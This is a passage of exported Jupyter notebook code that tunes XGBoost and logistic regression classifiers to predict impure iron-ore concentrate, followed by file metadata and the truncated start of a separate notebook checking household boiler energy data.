Grid Search\n\n# In[ ]:\n\n\nimport random \n\nrandom.seed(69)\n#start=0\nend=-14\n\nmdf = cdf.drop(columns = ['datetime hours', '% Iron Concentrate', '% Silica Concentrate'])\n\n#create and sample train set for equal class distribution\n#train = mdf.iloc[start*24*180:end*24*180]\ntrain = mdf.iloc[:-14*24*180]\nzero_idx = train[train['label'] == 0].index\nsample_idx = random.sample(list(zero_idx), train[train['label'] == 1].shape[0])\nsample_idx.extend(list(train[train['label'] == 1].index))\nsample_idx = pd.DatetimeIndex(sample_idx).sort_values()\ntrain = train.reindex(sample_idx)\n\nX = train.iloc[:,:-1]\ny = train.iloc[:,-1]\n\nX_eval = mdf.iloc[(end)*24*180:(end+7)*24*180,:-1]\ny_eval = mdf.iloc[(end)*24*180:(end+7)*24*180,-1]\nX_test = mdf.iloc[(end+7)*24*180:,:-1]\ny_test = mdf.iloc[(end+7)*24*180:,-1]\n#X_test = mdf.iloc[-14*24*180:,:-1]\n#y_test = mdf.iloc[-14*24*180:,-1]\n\nprint(y[y == 0].count() / y[y==1].count())\n\n\n# In[ ]:\n\n\n#max_depth_list = [5,7,10,15]\n#n_trees_list  = [50, 75, 100, 150, 200]\n\n#feature_1 = []\n#feature_2 = []\n#train_acc = []\n#test_acc = []\n#test_precision = []\n#test_recall = []\n#test_trueones = []\n\n#for max_depth in max_depth_list:\n#    for n_tree in n_trees_list:\n#        xgbc= xgb.XGBClassifier(max_depth=max_depth, n_estimators=n_tree, subsample=0.5, eval_metric='logloss', colsample_bytree=0.8, \n#                        min_child_weight=100, gamma=50)\n#        \n#        xgbc.fit(X,y)\n#        pred = xgbc.predict(X_test)\n#        \n#        feature_1.append(max_depth)\n#        feature_2.append(n_tree)\n#        train_acc.append(xgbc.score(X,y))\n#        test_acc.append(xgbc.score(X_test, y_test))\n#        cm = confusion_matrix(y_test, pred) \n#        test_trueones.append(cm[1,1])\n#        test_precision.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n#        test_recall.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n#        print(max_depth,n_tree)\n\n\n# In[ ]:\n\n\n#result_df = pd.DataFrame()\n#result_df['feature_1'] = feature_1\n#result_df['feature_2'] = feature_2\n#result_df['train_acc'] = train_acc\n#result_df['test_acc'] = test_acc\n#result_df['test_precision'] = test_precision\n#result_df['test_recall'] = test_recall\n#result_df['test_trueones'] = test_trueones\n#result_df\n\n\n# In[ ]:\n\n\n#max_depth_list2 = [2,3,4,5,6,8]\n#n_trees_list2  = [3,5,6,7,8,9,10]#\n\n#feature_12 = []\n#feature_22 = []\n#train_acc2 = []\n#test_acc2 = []\n#test_precision2 = []\n#test_recall2 = []\n#test_trueones2 = []\n\n#for max_depth in max_depth_list2:\n#    for n_tree in n_trees_list2:\n#        xgbc= xgb.XGBClassifier(max_depth=max_depth, n_estimators=n_tree, subsample=0.5, eval_metric='logloss', colsample_bytree=0.8, \n#                        min_child_weight=100, gamma=50)\n#       \n#        xgbc.fit(X,y)\n#        pred = xgbc.predict(X_eval)\n#        \n#        feature_12.append(max_depth)\n#        feature_22.append(n_tree)\n#        train_acc2.append(xgbc.score(X,y))\n #       test_acc2.append(xgbc.score(X_eval, y_eval))\n#        cm = confusion_matrix(y_eval, pred) \n#        test_trueones2.append(cm[1,1])\n#        test_precision2.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n#        test_recall2.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n#        #print(max_depth,n_tree)\n\n\n# In[ ]:\n\n\n#result_df2 = pd.DataFrame()\n#result_df2['max_depth'] = feature_12\n#result_df2['n_trees'] = feature_22\n#result_df2['train_acc'] = train_acc2\n#result_df2['test_acc'] = test_acc2\n#result_df2['test_precision'] = test_precision2\n#result_df2['test_recall'] = test_recall2\n#result_df2['test_trueones'] = test_trueones2\n#result_df2\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\nmax_depth_list = [2,3,4,5]\nn_trees_list  = [2,3,4,5,6,7,8]\nmin_child_weight_list = [10,50,100,200,300]\ngamma_list = [1,10,30,50,100]\n\nfeature_1 = []\nfeature_2 = []\nfeature_3 = []\nfeature_4 = []\ntrain_acc = []\ntest_acc = []\ntest_precision = []\ntest_recall = []\ntest_trueones = []\n\nfor max_depth in max_depth_list:\n    for n_tree in n_trees_list:\n        for min_child_weight in min_child_weight_list:\n            for gamma in gamma_list:\n                xgbc= xgb.XGBClassifier(max_depth=max_depth, n_estimators=n_tree, subsample=0.5, eval_metric='logloss', #colsample_bytree=0.8, \n                        min_child_weight=min_child_weight, gamma=gamma)\n       \n                xgbc.fit(X,y)\n                pred = xgbc.predict(X_eval)\n\n                feature_1.append(max_depth)\n                feature_2.append(n_tree)\n                feature_3.append(min_child_weight)\n                feature_4.append(gamma)\n                train_acc.append(xgbc.score(X,y))\n                test_acc.append(xgbc.score(X_eval, y_eval))\n                cm = confusion_matrix(y_eval, pred) \n                test_trueones.append(cm[1,1])\n                test_precision.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n                test_recall.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n                #print(max_depth,n_tree)\n\n\n# In[ ]:\n\n\nresult_df3 = pd.DataFrame()\nresult_df3['max_depth'] = feature_1\nresult_df3['n_trees'] = feature_2\nresult_df3['min_child_weight'] = feature_3\nresult_df3['gamma'] = feature_4\nresult_df3['train_acc'] = train_acc\nresult_df3['test_acc'] = test_acc\nresult_df3['test_precision'] = test_precision\nresult_df3['test_recall'] = test_recall\nresult_df3['test_trueones'] = test_trueones\nresult_df3.to_csv('/kaggle/working/xgb_grid_search_results.csv')\nresult_df3\n\n\n# In[ ]:\n\n\nresult_df3.sort_values(['test_trueones'], ascending=False).head(50)\n\n\n# In[ ]:\n\n\nresult_df3.groupby([result_df3['max_depth'], result_df3['n_trees']])['test_trueones'].max()\n\n\n# In[ ]:\n\n\nresult_df3[(result_df3['max_depth'] == 4) & (result_df3['n_trees'] == 8)]\n\n\n# In[ ]:\n\n\nxgbc= xgb.XGBClassifier(max_depth=5, n_estimators=2, subsample=0.5, eval_metric='logloss', min_child_weight = 300)\n\nxgbc.fit(X,y)\nprint(xgbc.feature_importances_)\nprint(xgbc.score(X,y))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\npreds=xgbc.predict(X_eval)\nresults = confusion_matrix(y_eval, preds) \nprint('Test Set Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, preds) )\nprint('Report : ')\nprint(classification_report(y_eval, preds))\n\n\n# In[ ]:\n\n\nplot_confusion_matrix(np.array(y_eval), np.array(preds), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\nplt.show()\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(y_eval), xgbc.predict_proba(X_eval)[:,1])\nroc_auc = roc_auc_score(np.array(y_eval), xgbc.predict_proba(X_eval)[:,1])\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\nxgbc= xgb.XGBClassifier(max_depth=3, n_estimators=7, subsample=0.5, eval_metric='logloss', min_child_weight=300)\n\nxgbc.fit(X,y)\nprint(xgbc.feature_importances_)\nprint(xgbc.score(X,y))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\npreds=xgbc.predict(X_eval)\nresults = confusion_matrix(y_eval, preds) \nprint('Test Set Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, preds) )\nprint('Report : ')\nprint(classification_report(y_eval, preds))\nplot_confusion_matrix(np.array(y_eval), np.array(preds), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\nplt.show()\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(y_eval), xgbc.predict_proba(X_eval)[:,1])\nroc_auc = roc_auc_score(np.array(y_eval), xgbc.predict_proba(X_eval)[:,1])\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# ### Logistic Reg\n\n# In[ ]:\n\n\nfrom sklearn.linear_model import LogisticRegression\n\nlr = LogisticRegression(fit_intercept=False, C=0.1)\n\nlr.fit(X,y)\nprint(lr.decision_function(X))\nprint(lr.score(X,y))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\npreds=lr.predict(X_eval)\nresults = confusion_matrix(y_eval, preds) \nprint('Test Set Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, preds) )\nprint('Report : ')\nprint(classification_report(y_eval, preds))\n\n\n# #### Grid\n\n# In[ ]:\n\n\nintercept_list = [True, False]\nC_list  = [10,1,0.1,0.01,0.001,0.0001]\n\nfeature_1 = []\nfeature_2 = []\ntrain_acc = []\ntest_acc = []\ntest_precision = []\ntest_recall = []\ntest_trueones = []\n\nfor C in C_list:\n    for intercept in intercept_list:\n        lr = LogisticRegression(fit_intercept=intercept, C=C, solver='liblinear')\n\n       \n        lr.fit(X,y)\n        pred = lr.predict(X_eval)\n        \n        feature_1.append(C)\n        feature_2.append(intercept)\n        train_acc.append(lr.score(X,y))\n        test_acc.append(lr.score(X_eval, y_eval))\n        cm = confusion_matrix(y_eval, pred) \n        test_trueones.append(cm[1,1])\n        test_precision.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n        test_recall.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n        #print(C,intercept)\n\n\n# In[ ]:\n\n\nresult_df = pd.DataFrame()\nresult_df['C'] = feature_1\nresult_df['intercept'] = feature_2\n#result_df['min_child_weight'] = feature_3\n#result_df['gamma'] = feature_4\nresult_df['train_acc'] = train_acc\nresult_df['test_acc'] = test_acc\nresult_df['test_precision'] = test_precision\nresult_df['test_recall'] = test_recall\nresult_df['test_trueones'] = test_trueones\nresult_df\n\n\n# In[ ]:\n\n\nC_list  = [10, 7.5, 5, 4, 3, 2,1,0.75, 0.5, 0.3, 0.1,0.05, 0.01]\n\nfeature_1 = []\nfeature_2 = []\ntrain_acc = []\ntest_acc = []\ntest_precision = []\ntest_recall = []\ntest_trueones = []\n\nfor C in C_list:\n    lr = LogisticRegression(fit_intercept=True, C=C, solver='liblinear')\n\n\n    lr.fit(X,y)\n    pred = lr.predict(X_eval)\n\n    feature_1.append(C)\n    #feature_2.append(intercept)\n    train_acc.append(lr.score(X,y))\n    test_acc.append(lr.score(X_eval, y_eval))\n    cm = confusion_matrix(y_eval, pred) \n    test_trueones.append(cm[1,1])\n    test_precision.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n    test_recall.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n    #print(C,intercept)\n\n\n# In[ ]:\n\n\nresult_df2 = pd.DataFrame()\nresult_df2['C'] = feature_1\n#result_df2['intercept'] = feature_2\nresult_df2['train_acc'] = train_acc\nresult_df2['test_acc'] = test_acc\nresult_df2['test_precision'] = test_precision\nresult_df2['test_recall'] = test_recall\nresult_df2['test_trueones'] = test_trueones\nresult_df2\n\n\n# In[ ]:\n\n\nimport xgboost as xgb\nfrom sklearn.linear_model import LogisticRegression\n\nlr = LogisticRegression(fit_intercept=True, C=7.50, solver='liblinear')\n\nlr.fit(X,y)\n\nlr_preds= lr.predict(X_eval)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\nresults = confusion_matrix(y_eval, lr_preds) \nprint('Logistic Regression Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, lr_preds) )\nprint('Report: ')\nprint(classification_report(y_eval, lr_preds))\nplot_confusion_matrix(np.array(y_eval), np.array(lr_preds), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\nplt.show()\n\n\n# ### Putting it all together\n\n# In[ ]:\n\n\nimport random \n\nrandom.seed(69)\n\nmdf = df.drop(columns = ['datetime', '% Iron Concentrate', '% Silica Concentrate'])\n\ntrain = mdf.iloc[:-14*24*180,:]\nzero_idx = train[train['label'] == 0].index\nsample_idx = random.sample(list(zero_idx), train[train['label'] == 1].shape[0])\nsample_idx.extend(list(train[train['label'] == 1].index))\nsample_idx = pd.DatetimeIndex(sample_idx).sort_values()\ntrain = train.reindex(sample_idx)\n\nX = train.iloc[:,:-1]\ny = train.iloc[:,-1]\n\nX_eval = mdf.iloc[-14*24*180:-7*24*180,:-1]\ny_eval = mdf.iloc[-14*24*180:-7*24*180,-1]\nX_test = mdf.iloc[-7*24*180:,:-1]\ny_test = mdf.iloc[-7*24*180:,-1]\n\nprint(y[y == 0].count() / y[y==1].count())\n\n\n# In[ ]:\n\n\nimport xgboost as xgb\nfrom sklearn.linear_model import LogisticRegression\n\nlr = LogisticRegression(fit_intercept=True, C=3.0, solver='liblinear')\nxgbc= xgb.XGBClassifier(max_depth=2, n_estimators=2, eval_metric='logloss', subsample=0.5)\nxgbc2 = xgb.XGBClassifier(max_depth=4, n_estimators=8, eval_metric='logloss', subsample=0.5, min_child_weight=300)\n\nlr.fit(X,y)\nxgbc.fit(X,y)\nxgbc2.fit(X,y)\n\nlr_preds= lr.predict(X_eval)\nxgb_pred = xgbc.predict(X_eval)\nxgb2_pred = xgbc2.predict(X_eval)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\nresults = confusion_matrix(y_eval, xgb_pred) \nprint('XGBoost Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, xgb_pred) )\nprint('Report: ')\nprint(classification_report(y_eval, xgb_pred))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\nresults = confusion_matrix(y_eval, xgb2_pred) \nprint('XGBoost Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, xgb2_pred) )\nprint('Report: ')\nprint(classification_report(y_eval, xgb2_pred))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\nresults = confusion_matrix(y_eval, lr_preds) \nprint('Logistic Regression Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_eval, lr_preds) )\nprint('Report: ')\nprint(classification_report(y_eval, lr_preds))\n\n\n# #### building an hourly classifier\n\n# In[ ]:\n\n\neval_df = pd.DataFrame()\neval_df['LogReg'] = lr_preds\neval_df['XGBoost'] = xgb_pred\neval_df['XGBoost2'] = xgb2_pred\neval_df.index = y_eval.index\neval_df.head()\n\n\n# In[ ]:\n\n\nhour_counts = eval_df.groupby([eval_df.index.date, eval_df.index.hour]).sum() / 180\nhour_counts['Actual'] = y_eval.groupby([y_eval.index.date, y_eval.index.hour]).mean()\nhour_counts.plot()\n\n\n# In[ ]:\n\n\nsns.boxplot(x=\"Actual\", y=\"LogReg\", data=hour_counts)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"LogReg\"]))\nroc_auc = roc_auc_score(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"LogReg\"]))\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\nsns.boxplot(x=\"Actual\", y=\"XGBoost\", data=hour_counts)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"XGBoost\"]))\nroc_auc = roc_auc_score(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"XGBoost\"]))\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\nsns.boxplot(x=\"Actual\", y=\"XGBoost2\", data=hour_counts)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"XGBoost2\"]))\nroc_auc = roc_auc_score(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"XGBoost2\"]))\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\navg_eval_preds = (hour_counts['LogReg'] + hour_counts['XGBoost'] + hour_counts['XGBoost2']) / 3\nsns.boxplot(x=hour_counts[\"Actual\"], y=avg_eval_preds)\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr, tpr, thresholds = roc_curve(np.array(hour_counts[\"Actual\"]), np.array(avg_eval_preds))\nroc_auc = roc_auc_score(np.array(hour_counts[\"Actual\"]), np.array(avg_eval_preds))\n\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0,1], [0,1], linestyle=\"--\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\ncutoff_list = [0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9]\nacc = []\ntruezeros = []\nfalsezeros = []\ntrueones = []\nfalseones = []\nimp_precision = []\nimp_recall = []\n\nfor cutoff in cutoff_list:\n    ddf = pd.DataFrame(index=avg_eval_preds.index)\n    ddf['class'] = 0\n    ddf['class'][avg_eval_preds > cutoff] = 1\n    \n    cm = confusion_matrix(hour_counts[\"Actual\"], ddf['class']) \n    acc.append((cm[1,1]+cm[0,0]) / len(ddf))\n    truezeros.append(cm[0,0])\n    falsezeros.append(cm[1,0])\n    trueones.append(cm[1,1])\n    falseones.append(cm[0,1])\n    imp_precision.append((cm[1,1]) / (cm[0,1] + cm[1,1]))\n    imp_recall.append((cm[1,1]) / (cm[1,0] + cm[1,1]))\n    #print(C,intercept)\n\n\n# In[ ]:\n\n\ncutoffs = pd.DataFrame()\ncutoffs['Cutoff'] = cutoff_list\ncutoffs['Accuracy'] = acc\ncutoffs['True Zeros'] = truezeros\ncutoffs['False Zeros'] = falsezeros\ncutoffs['True Ones'] = trueones\ncutoffs['False Ones'] = falseones\ncutoffs['Impure Precision'] = imp_precision\ncutoffs['Impure Recall'] = imp_recall\ncutoffs\n\n\n# In[ ]:\n\n\n#for i in range(len(cutoff_list)):\n#    ddf = pd.DataFrame(index=avg_eval_preds.index)\n#    ddf['class'] = 0\n#    ddf['class'][avg_eval_preds > cutoff_list[i]] = 1\n#    \n#    print(cutoff_list[i])\n#    plot_confusion_matrix(np.array(hour_counts[\"Actual\"]), np.array(ddf['class']), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\n\n\n# In[ ]:\n\n\nddf = pd.DataFrame(index=hour_counts['LogReg'].index)\nddf['class'] = 0\nddf['class'][hour_counts['LogReg'] > 0.45] = 1\n\nplot_confusion_matrix(np.array(hour_counts[\"Actual\"]), np.array(ddf['class']), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\nplt.show()\n\n\n# ### Apply method to Test Set\n\n# In[ ]:\n\n\n#import random #\n\n#random.seed(69)\n\n#mdf = df.drop(columns = ['datetime', '% Iron Concentrate', '% Silica Concentrate'])\n\n#train = mdf.iloc[:-14*24*180]\n#zero_idx = train[train['label'] == 0].index\n#sample_idx = random.sample(list(zero_idx), train[train['label'] == 1].shape[0])\n#sample_idx.extend(list(train[train['label'] == 1].index))\n#sample_idx = pd.DatetimeIndex(sample_idx).sort_values()\n#train = train.reindex(sample_idx)\n\n#X = train.iloc[:,:-1]\n#y = train.iloc[:,-1]\n\n#X_eval = mdf.iloc[-42*24*180:-14*24*180,:-1]\n#y_eval = mdf.iloc[-42*24*180:-14*24*180,-1]\n#X_test = mdf.iloc[-14*24*180:,:-1]\n#y_test = mdf.iloc[-14*24*180:,-1]\n\n#print(y[y == 0].count() / y[y==1].count())\n\n\n# In[ ]:\n\n\n#lr = LogisticRegression(fit_intercept=True, C=3.0, solver='liblinear')\n#xgbc= xgb.XGBClassifier(max_depth=2, n_estimators=2, eval_metric='logloss', subsample=0.5)\n#xgbc2 = xgb.XGBClassifier(max_depth=4, n_estimators=8, eval_metric='logloss', subsample=0.5, min_child_weight=300)\n\n#lr.fit(X,y)\n#xgbc.fit(X,y)\n#xgbc2.fit(X,y)\n\n#lr_preds= lr.predict(X_eval)\n#xgb_pred = xgbc.predict(X_eval)\n#xgb2_pred = xgbc2.predict(X_eval)\n\n\n# In[ ]:\n\n\n#eval_df = pd.DataFrame()\n#eval_df['LogReg'] = lr_preds\n#eval_df['XGBoost'] = xgb_pred\n#eval_df['XGBoost2'] = xgb2_pred\n#eval_df.index = X_test.index\n#hour_counts = eval_df.groupby([eval_df.index.date, eval_df.index.hour]).sum() / 180\n#hour_counts['Actual'] = y_test.groupby([y_test.index.date, y_test.index.hour]).mean()\n#hour_counts['Average'] = (hour_counts['LogReg'] + hour_counts['XGBoost'] + hour_counts['XGBoost2']) / 3\n#hour_counts['Prediction'] = 0\n#hour_counts['Prediction'][hour_counts['Average'] > 0.45] = 1\n#plot_confusion_matrix(np.array(hour_counts[\"Actual\"]), np.array(hour_counts[\"Prediction\"]), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\n#plt.show()\n\n\n# In[ ]:\n\n\n#from sklearn.metrics import confusion_matrix, accuracy_score, classification_report\n#results = confusion_matrix(hour_counts[\"Actual\"], hour_counts[\"Prediction\"]) \n#print('Logistic Regression Results')\n#print('Confusion Matrix :')\n#print(results) \n#print('Accuracy Score :',accuracy_score(hour_counts[\"Actual\"], hour_counts[\"Prediction\"]) )\n#print('Report: ')\n#print(classification_report(hour_counts[\"Actual\"], hour_counts[\"Prediction\"]))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "be7d195b773bed18ba85587f15ea4cc0862b0b27", "size": 37354, "ext": "py", "lang": "Python", "max_stars_repo_path": "iron_production_code.py", "max_stars_repo_name": "ranahamzaintisar1995/Increasing-production-of-Iron-ore-using-Machine-Learning-algorithms", "max_stars_repo_head_hexsha": "9381b4101169421603928271774cffa9e4dfbd5d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-10T17:32:34.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-10T17:32:34.000Z", "max_issues_repo_path": "iron_production_code.py", "max_issues_repo_name": "ranahamzaintisar1995/Increasing-production-of-Iron-ore-using-Machine-Learning-algorithms", "max_issues_repo_head_hexsha": "9381b4101169421603928271774cffa9e4dfbd5d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "iron_production_code.py", "max_forks_repo_name": "ranahamzaintisar1995/Increasing-production-of-Iron-ore-using-Machine-Learning-algorithms", "max_forks_repo_head_hexsha": "9381b4101169421603928271774cffa9e4dfbd5d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.873381295, "max_line_length": 255, "alphanum_fraction": 0.689377309, "include": true, "reason": "import numpy", "num_tokens": 10647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295497638851, "lm_q2_score": 0.1645164628965632, "lm_q1q2_score": 0.0732969456430527}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport sys\nsys.path.insert(0,\"./../\") #so we can import our modules properly\n\n\n# In[ ]:\n\n\n# iPhython\nfrom IPython.core.display import display, HTML\ndisplay(HTML(\"<style>.container { width:90% !important; }</style>\"))\n\nfrom matplotlib import rcParams\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'notebook')\nget_ipython().run_line_magic('matplotlib', 'notebook')\n\nimport numpy as np\nimport pandas as pd\n\n\n# # House C - Energy\n\n# In[ ]:\n\n\npath_to_house = \"./datasets/dfC_300s.hdf\"\ndf_house = pd.read_hdf(path_to_house)\nprint('\\n\\nStart time: {}'.format(df_house.index[1]))\nprint('End time: {}'.format(df_house.index[-1]))\nprint(df_house.columns)\n\n\n# ## Check that boiler power does not exceed total consumed power\n\n# In[ ]:\n\n\nmeters = ['C_boiler_power']\n\n# Investigate only points in time where all values are available\ncols = ['C_total_cons_power']\ncols.extend(meters)\ndf_house_noNAN = df_house.loc[:,cols].dropna(axis=0, how='any')\n\n# Check if total consumed power is larger than total of appliances\ndelta = df_house_noNAN.loc[:,meters].sum(axis=1) - df_house_noNAN.loc[:,'C_total_cons_power']\ntmt = delta > 0\n\nif np.any(tmt):\n    print('Boiler Power is larger than total consumed power for some data points.')\n\n    # investigate problematic cases\n    print(\"Found {} out of {} ({:.2}%) values to be problematic.\".format(tmt.sum(), len(tmt), tmt.sum()/len(tmt)*100))\n    print(\"\")\n    print(\"Statistics of problematic values:\")\n    print(delta[tmt].describe())\n    print()\n    print((delta[tmt]/df_house_noNAN.loc[tmt, 'C_total_cons_power']).describe())\nelse: \n    print(\"Total of all appliances is smaller than total consumed energy for all measurement points.\")\n\n\n# In[ ]:\n\n\nl = ['Total Appliances = Boiler', 'Total Consumed']\nif np.any(tmt):\n    print('Boiler Power is larger than total consumed power for some data points.')\n    ## plot params ##\n    ha = 6\n    ncols = 8\n    nrows = np.sum(tmt)//ncols+1\n    fig, ax = plt.subplots(figsize=(17,3*nrows), ncols=ncols, nrows=nrows)\n    idxs = np.nonzero(tmt)[0]\n    for i, idx in enumerate(idxs):\n        minidx = idx-ha\n        maxidx = idx+ha\n        df_house_noNAN.iloc[minidx:maxidx].loc[:,'C_boiler_power'].plot(ax=ax[i//ncols, i%ncols], label='Total Appliances')\n        df_house_noNAN.iloc[minidx:maxidx].loc[:,'C_total_cons_power'].plot(ax=ax[i//ncols, i%ncols], label='Total Consumed')\n    fig.legend(l, loc='upper center')\nelse: \n    print(\"Total of all appliances is smaller than total consumed energy for all measurement points.\")\n\n\n# ## Visualize Boiler Variables\n\n# In[ ]:\n\n\nfig, ax = plt.subplots(ncols=1, nrows=3, figsize=(17,12), sharex=True)\ndf_house.loc[:,['C_boilertemp_top', 'C_boilertemp_bottom']].plot(ax=ax[0])\nax[0].legend(loc='upper left')\nax2 = ax[0].twinx()\ndf_house.loc[:,'C_boiler_power'].plot(ax=ax2)\n# df_house.loc[:,['C_boiler_on_utility','C_boiler_on_thermostat', 'C_boiler_on_relay']].plot(ax=ax2)\nax2.legend(loc='upper right')\ndf_house.loc[:,['C_boiler_heater_1_on', 'C_boiler_heater_2_on', 'C_boiler_heater_3_on']].plot(ax=ax[1])\nax[1].legend()\ndf_house.loc[:,['C_boiler_on_utility', 'C_boiler_on_relay','C_boiler_on_thermostat']].plot(ax=ax[2])\nax[2].legend()\n\n\n# In[ ]:\n\n\nfig, ax = plt.subplots(ncols=1, nrows=1, figsize=(17,4), sharex=True)\ndf_house.loc[:,['C_boilertemp_top', 'C_boilertemp_bottom']].plot(ax=ax)\nax.legend(loc='upper left')\nax2 = ax.twinx()\n# df_house.loc[:,'C_boiler_power'].plot(ax=ax2)\ndf_house.loc[:,['C_boiler_on_utility','C_boiler_on_thermostat', 'C_boiler_on_relay']].plot(ax=ax2)\nax2.legend(loc='upper right')\n\n\n# ## Heat Pump Power and Total Consumed Power (without HP)\n\n# In[ ]:\n\n\nfig, ax = 